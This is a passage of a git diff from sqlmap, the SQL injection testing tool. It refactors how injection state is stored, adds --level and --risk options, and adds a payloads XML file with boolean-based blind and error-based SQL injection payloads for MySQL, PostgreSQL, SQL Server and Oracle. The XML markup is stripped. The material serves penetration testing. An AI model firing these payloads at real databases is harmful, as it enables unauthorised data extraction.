kb.resumedQueries[conf.url].has_key("Stacked queries") ) ) - if not isinstance(kb.stackedTest, basestring): - return - if condition: - dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.stackedTest)) + dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) -def setError(): +def setError(place, parameter, payload): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Error based injection") ) + not kb.resumedQueries[conf.url].has_key("Error-based injection") ) ) if condition: - dataToSessionFile("[%s][%s][%s][Error based injection][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) + dataToSessionFile("[%s][%s][%s][Error-based injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) + +def setTimeBased(place, parameter, payload): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Time-based blind injection") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Time-based blind injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) def setUnion(comment=None, count=None, position=None, negative=False, falseCond=False, payload=None): """ @@ -226,7 +228,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(comment))) + dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment))) kb.unionComment = comment @@ -237,7 +239,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), count)) + dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count)) kb.unionCount = count @@ -248,7 +250,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), position)) + dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position)) kb.unionPosition = position @@ -260,7 +262,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) + dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]))) kb.unionNegative = True @@ -272,7 +274,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) + dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]))) kb.unionFalseCond = True @@ -284,7 +286,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), payload)) + dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload)) kb.unionTest = payload @@ -295,7 +297,7 @@ def setRemoteTempPath(): ) if condition: - dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(conf.tmpPath))) + dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(conf.tmpPath))) def resumeConfKb(expression, url, value): if expression == "String" and url == conf.url: @@ -352,6 +354,12 @@ def resumeConfKb(expression, url, value): except ValueError: pass + elif expression == "Injection type" and url == conf.url: + kb.injection.stype = unSafeFormatString(value[:-1]) + + logMsg = "resuming injection type '%s' from session file" % kb.injection.stype + logger.info(logMsg) + elif expression == "Injection point" and url == conf.url: injPlace = value[:-1] @@ -365,7 +373,7 @@ def resumeConfKb(expression, url, value): warnMsg += "injectable point" logger.warn(warnMsg) else: - kb.injPlace = injPlace + kb.injection.place = injPlace elif expression == "Injection parameter" and url == conf.url: injParameter = unSafeFormatString(value[:-1]) @@ -374,8 +382,8 @@ def resumeConfKb(expression, url, value): logger.info(logMsg) condition = ( - not conf.paramDict.has_key(kb.injPlace) or - not conf.paramDict[kb.injPlace].has_key(injParameter) + not conf.paramDict.has_key(kb.injection.place) or + not conf.paramDict[kb.injection.place].has_key(injParameter) ) if condition: @@ -385,19 +393,24 @@ def resumeConfKb(expression, url, value): warnMsg += "injectable point" logger.warn(warnMsg) else: - kb.injParameter = injParameter + kb.injection.parameter = injParameter - elif expression == "Injection type" and url == conf.url: - kb.injType = unSafeFormatString(value[:-1]) + elif expression == "Injection parameter type" and url == conf.url: + kb.injection.ptype = unSafeFormatString(value[:-1]) - logMsg = "resuming injection type '%s' from session file" % kb.injType + logMsg = "resuming injection parameter type '%s' from session file" % kb.injection.ptype logger.info(logMsg) - elif expression == "Parenthesis" and url == conf.url: - kb.parenthesis = int(value[:-1]) + elif expression == "Injection prefix" and url == conf.url: + kb.injection.prefix = unSafeFormatString(value[:-1]) - logMsg = "resuming %d number of " % kb.parenthesis - logMsg += "parenthesis from session file" + logMsg = "resuming injection prefix '%s' from session file" % kb.injection.prefix + logger.info(logMsg) + + elif expression == "Injection suffix" and url == conf.url: + kb.injection.suffix = unSafeFormatString(value[:-1]) + + logMsg = "resuming injection suffix '%s' from session file" % kb.injection.suffix logger.info(logMsg) elif expression == "DBMS" and url == conf.url: @@ -455,6 +468,20 @@ def resumeConfKb(expression, url, value): else: conf.os = os + elif expression == "Boolean-based blind injection" and url == conf.url: + kb.booleanTest = unSafeFormatString(value[:-1]) + + logMsg = "resuming boolean-based blind injection " + logMsg += "'%s' from session file" % kb.booleanTest + logger.info(logMsg) + + elif expression == "Error-based injection" and url == conf.url: + kb.errorTest = unSafeFormatString(value[:-1]) + + logMsg = "resuming error-based injection " + logMsg += "'%s' from session file" % kb.errorTest + logger.info(logMsg) + elif expression == "Stacked queries" and url == conf.url: kb.stackedTest = unSafeFormatString(value[:-1]) @@ -462,11 +489,11 @@ def resumeConfKb(expression, url, value): logMsg += "'%s' from session file" % kb.stackedTest logger.info(logMsg) - elif expression == "Error based injection" and url == conf.url: - kb.errorTest = unSafeFormatString(value[:-1]) == 'Yes' + elif expression == "Time-based blind injection" and url == conf.url: + kb.timeTest = unSafeFormatString(value[:-1]) - logMsg = "resuming error based injection " - logMsg += "'%s' from session file" % kb.errorTest + logMsg = "resuming time-based blind injection " + logMsg += "'%s' from session file" % kb.timeTest logger.info(logMsg) elif expression == "Union comment" and url == conf.url: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 7d791c79d..0a9af60ee 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -183,6 +183,14 @@ def cmdLineParser(): "HTTP responses when using blind SQL " "injection technique.") + detection.add_option("--level", dest="level", default=1, type="int", + help="Level of tests to perform (1-5, " + "default 1)") + + detection.add_option("--risk", dest="risk", default=1, type="int", + help="Risk of tests to perform (0-3, " + "default 1)") + detection.add_option("--string", dest="string", help="String to match in page when the " "query is valid") diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py new file mode 100644 index 000000000..c450730ce --- /dev/null +++ b/lib/parse/payloads.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +from xml.etree import ElementTree as et + +from lib.core.data import conf +from lib.core.data import paths +from lib.core.datatype import advancedDict + +def cleanupVals(values, tag): + count = 0 + + for value in values: + if value.isdigit(): + value = int(value) + + values[count] = value + count += 1 + + if len(values) == 1 and tag not in ("clause", "where"): + values = values[0] + + return values + +def parseXmlNode(node): + for element in node.getiterator('boundary'): + boundary = advancedDict() + + for child in element.getchildren(): + if child.text: + values = cleanupVals(child.text.split(','), child.tag) + boundary[child.tag] = values + else: + boundary[child.tag] = None + + conf.boundaries.append(boundary) + + for element in node.getiterator('test'): + test = advancedDict() + + for child in element.getchildren(): + if child.text and child.text.strip(): + values = cleanupVals(child.text.split(','), child.tag) + test[child.tag] = values + else: + if len(child.getchildren()) == 0: + test[child.tag] = None + continue + else: + test[child.tag] = advancedDict() + + for gchild in child.getchildren(): + if gchild.tag in test[child.tag]: + prevtext = test[child.tag][gchild.tag] + test[child.tag][gchild.tag] = [prevtext, gchild.text] + else: + test[child.tag][gchild.tag] = gchild.text + + conf.tests.append(test) + +def loadPayloads(): + doc = et.parse(paths.PAYLOADS_XML) + root = doc.getroot() + parseXmlNode(root) diff --git a/lib/request/connect.py b/lib/request/connect.py index ed76cf319..1af1053bc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -338,7 +338,7 @@ class Connect: toUrlencode = { PLACE.GET: True, PLACE.POST: True, PLACE.COOKIE: conf.cookieUrlencode, PLACE.UA: True, PLACE.URI: False } if not place: - place = kb.injPlace + place = kb.injection.place payload = agent.extractPayload(value) diff --git a/lib/request/direct.py b/lib/request/direct.py index 9826ce3d0..f25462924 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -54,7 +54,7 @@ def direct(query, content=True): return None elif content: if conf.hostname not in kb.resumedQueries or ( conf.hostname in kb.resumedQueries and query not in kb.resumedQueries[conf.hostname] ): - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injPlace, conf.parameters[kb.injPlace], query, base64pickle(output))) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injection.place, conf.parameters[kb.injection.place], query, base64pickle(output))) if len(output) == 1: if len(output[0]) == 1: diff --git a/lib/request/inject.py b/lib/request/inject.py index fef7f4da2..d30e866dd 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -45,7 +45,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha else: length = None - dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) @@ -353,7 +353,7 @@ def getValue(expression, blind=True, inband=True, error=True, fromUser=False, ex expression = expression.replace("DISTINCT ", "") - if error and conf.errorTest: + if error and kb.errorTest: value = goError(expression) if not value: @@ -435,7 +435,7 @@ def goError(expression, suppressOutput=False, returnPayload=False): result = errorUse(expression, returnPayload) if not returnPayload: - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result))) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result))) if suppressOutput: conf.verbose = popValue() diff --git a/lib/techniques/blind/timebased.py b/lib/techniques/blind/timebased.py index 0a113659d..66bb325f8 100644 --- a/lib/techniques/blind/timebased.py +++ b/lib/techniques/blind/timebased.py @@ -23,7 +23,7 @@ def timeTest(): return kb.timeTest infoMsg = "testing time-based blind sql injection on parameter " - infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic) + infoMsg += "'%s' with %s condition syntax" % (kb.injection.parameter, conf.logic) logger.info(infoMsg) timeQuery = getDelayQuery(andCond=True) @@ -37,18 +37,18 @@ def timeTest(): if duration >= conf.timeSec: infoMsg = "the target url is affected by a time-based blind " infoMsg += "sql injection with AND condition syntax on parameter " - infoMsg += "'%s'" % kb.injParameter + infoMsg += "'%s'" % kb.injection.parameter logger.info(infoMsg) kb.timeTest = agent.removePayloadDelimiters(payload, False) else: warnMsg = "the target url is not affected by a time-based blind " warnMsg += "sql injection with AND condition syntax on parameter " - warnMsg += "'%s'" % kb.injParameter + warnMsg += "'%s'" % kb.injection.parameter logger.warn(warnMsg) infoMsg = "testing time-based blind sql injection on parameter " - infoMsg += "'%s' with stacked queries syntax" % kb.injParameter + infoMsg += "'%s' with stacked queries syntax" % kb.injection.parameter logger.info(infoMsg) timeQuery = getDelayQuery(andCond=True) @@ -59,14 +59,14 @@ def timeTest(): if duration >= conf.timeSec: infoMsg = "the target url is affected by a time-based blind sql " infoMsg += "injection with stacked queries syntax on parameter " - infoMsg += "'%s'" % kb.injParameter + infoMsg += "'%s'" % kb.injection.parameter logger.info(infoMsg) kb.timeTest = agent.removePayloadDelimiters(payload, False) else: warnMsg = "the target url is not affected by a time-based blind " warnMsg += "sql injection with stacked queries syntax on parameter " - warnMsg += "'%s'" % kb.injParameter + warnMsg += "'%s'" % kb.injection.parameter logger.warn(warnMsg) kb.timeTest = False diff --git a/lib/techniques/error/test.py b/lib/techniques/error/test.py index 337a33eb2..7ea5f3a12 100644 --- a/lib/techniques/error/test.py +++ b/lib/techniques/error/test.py @@ -27,7 +27,7 @@ def errorTest(): return kb.errorTest infoMsg = "testing error-based sql injection on parameter " - infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic) + infoMsg += "'%s' with %s condition syntax" % (kb.injection.parameter, conf.logic) logger.info(infoMsg) randInt = getUnicode(randomInt(1)) @@ -36,13 +36,13 @@ def errorTest(): if result: infoMsg = "the target url is affected by an error-based sql " - infoMsg += "injection on parameter '%s'" % kb.injParameter + infoMsg += "injection on parameter '%s'" % kb.injection.parameter logger.info(infoMsg) kb.errorTest = agent.removePayloadDelimiters(usedPayload, False) else: warnMsg = "the target url is not affected by an error-based sql " - warnMsg += "injection on parameter '%s'" % kb.injParameter + warnMsg += "injection on parameter '%s'" % kb.injection.parameter logger.warn(warnMsg) kb.errorTest = False diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index beee80cf5..166f5ed38 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -157,7 +157,7 @@ def unionTest(): technique = "char (%s) bruteforcing" % conf.uChar infoMsg = "testing inband sql injection on parameter " - infoMsg += "'%s' with %s technique" % (kb.injParameter, technique) + infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique) logger.info(infoMsg) validPayload = None @@ -174,12 +174,12 @@ def unionTest(): if isinstance(kb.unionPosition, int): infoMsg = "the target url is affected by an exploitable " infoMsg += "inband sql injection vulnerability " - infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount) + infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount) logger.info(infoMsg) else: infoMsg = "the target url is not affected by an exploitable " infoMsg += "inband sql injection vulnerability " - infoMsg += "on parameter '%s'" % kb.injParameter + infoMsg += "on parameter '%s'" % kb.injection.parameter logger.info(infoMsg) validPayload = agent.removePayloadDelimiters(validPayload, False) diff --git a/lib/techniques/outband/stacked.py b/lib/techniques/outband/stacked.py index 2e79931eb..61fb03a90 100644 --- a/lib/techniques/outband/stacked.py +++ b/lib/techniques/outband/stacked.py @@ -26,7 +26,7 @@ def stackedTest(): return kb.stackedTest infoMsg = "testing stacked queries sql injection on parameter " - infoMsg += "'%s'" % kb.injParameter + infoMsg += "'%s'" % kb.injection.parameter logger.info(infoMsg) query = getDelayQuery() @@ -36,13 +36,13 @@ def stackedTest(): if duration >= conf.timeSec: infoMsg = "the target url is affected by a stacked queries " - infoMsg += "sql injection on parameter '%s'" % kb.injParameter + infoMsg += "sql injection on parameter '%s'" % kb.injection.parameter logger.info(infoMsg) kb.stackedTest = agent.removePayloadDelimiters(payload, False) else: warnMsg = "the target url is not affected by a stacked queries " - warnMsg += "sql injection on parameter '%s'" % kb.injParameter + warnMsg += "sql injection on parameter '%s'" % kb.injection.parameter logger.warn(warnMsg) kb.stackedTest = False diff --git a/lib/utils/resume.py b/lib/utils/resume.py index 8c5c4ea02..f7bef335f 100644 --- a/lib/utils/resume.py +++ b/lib/utils/resume.py @@ -74,7 +74,7 @@ def queryOutputLength(expression, payload): if output: return 0, output, regExpr - dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], lengthExpr)) start = time.time() lengthExprUnescaped = unescaper.unescape(lengthExpr) @@ -156,7 +156,7 @@ def resume(expression, payload): infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue))) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) return resumedValue elif len(resumedValue) < int(length): @@ -164,7 +164,7 @@ def resume(expression, payload): infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) - dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue))) + dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) if select: newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 9dfc3fbe8..842c90dbb 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -79,7 +79,7 @@ class Filesystem(GenericFilesystem): fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) - if kb.injPlace == PLACE.GET and fcEncodedStrLen > 8000: + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 1a714411e..62da10a1c 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -164,7 +164,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "confirming MySQL" logger.info(infoMsg) - payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injPlace != PLACE.URI else "AND ISNULL(1 DIV 0)") + payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)") result = Request.queryPage(payload) if not result: diff --git a/sqlmap.conf b/sqlmap.conf index 8f928ec00..96b814279 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -192,6 +192,20 @@ tamper = # content from HTTP responses when using blind SQL injection technique. [Detection] +# Level of tests to perform +# The higher the value is, the higher the number of HTTP(s) requests are +# as well as the better chances to detect a tricky SQL injection. +# Valid: Integer between 1 and 5 +# Default: 1 +level = 1 + +# Risk of tests to perform +# Note: boolean-based blind SQL injection tests with AND are considered +# risk 1, with OR are considered risk 3. +# Valid: Integer between 0 and 3 +# Default: 1 +risk = 1 + # String to match within the page content when the query is valid, only # needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. diff --git a/xml/injections.xml b/xml/injections.xml deleted file mode 100644 index 3890599bc..000000000 --- a/xml/injections.xml +++ /dev/null @@ -1,64 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/payloads.xml b/xml/payloads.xml new file mode 100644 index 000000000..2d0715ba7 --- /dev/null +++ b/xml/payloads.xml @@ -0,0 +1,1290 @@ + + + + + + + 1 + 0 + 1,2,3 + 1 + + + + + + 1 + 1 + 1,2 + 1 + ) + AND ([RANDNUM]=[RANDNUM] + + + + 2 + 1 + 1,2 + 1 + )) + AND (([RANDNUM]=[RANDNUM] + + + + 3 + 1 + 1,2 + 1 + ))) + AND ((([RANDNUM]=[RANDNUM] + + + + 1 + 1 + 1,2 + 2 + ' + AND '[RANDSTR]'='[RANDSTR] + + + + 1 + 1 + 1,2 + 2 + ') + AND ('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + ')) + AND (('[RANDSTR]'='[RANDSTR] + + + + 3 + 1 + 1,2 + 2 + '))) + AND ((('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ' + AND '[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ') + AND ('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + ')) + AND (('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + '))) + AND ((('[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + " + AND "[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 4 + ") + AND ("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + ")) + AND (("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + "))) + AND ((("[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + " + AND "[RANDSTR]" LIKE "[RANDSTR] + + + + 4 + 1 + 1,2 + 5 + ") + AND ("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + ")) + AND (("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + "))) + AND ((("[RANDSTR]" LIKE "[RANDSTR] + + + + 2 + 2,3 + 1,2 + 1 + , + + + + + + + AND boolean-based blind - WHERE clause + 1 + 1 + 1 + 1 + 1 + + AND [RANDNUM]=[RANDNUM] + + + AND [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE clause + 1 + 4 + 3 + 1 + 1 + + OR [RANDNUM]=[RANDNUM] + + + OR [RANDNUM]=[RANDNUM1] + + + + + + + + MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 3 + 1 + 2,3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 4 + 1 + 2,3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause + 1 + 3 + 1 + 3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle boolean-based blind - ORDER BY clause + 1 + 3 + 1 + 3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL) + +
+ Oracle +
+
+ + + + + Generic boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 3 + 1 + 2,3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END)) + + + + + MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 4 + 1 + 2,3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 5 + 1 + 2,3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL) + +
+ Oracle +
+
+ + + + + Generic boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 4 + 1 + 2,3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END)) + + + + + + + + MySQL >= 5.0 error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND [RANDNUM]=CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND [RANDNUM]=CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]')) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Oracle +
+
+ + + + + + + MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses + 2 + 3 + 0 + 2,3 + 1 + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - GROUP BY and ORDER BY clauses + 2 + 3 + 0 + 2,3 + 1 + + (CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ PostgreSQL +
+
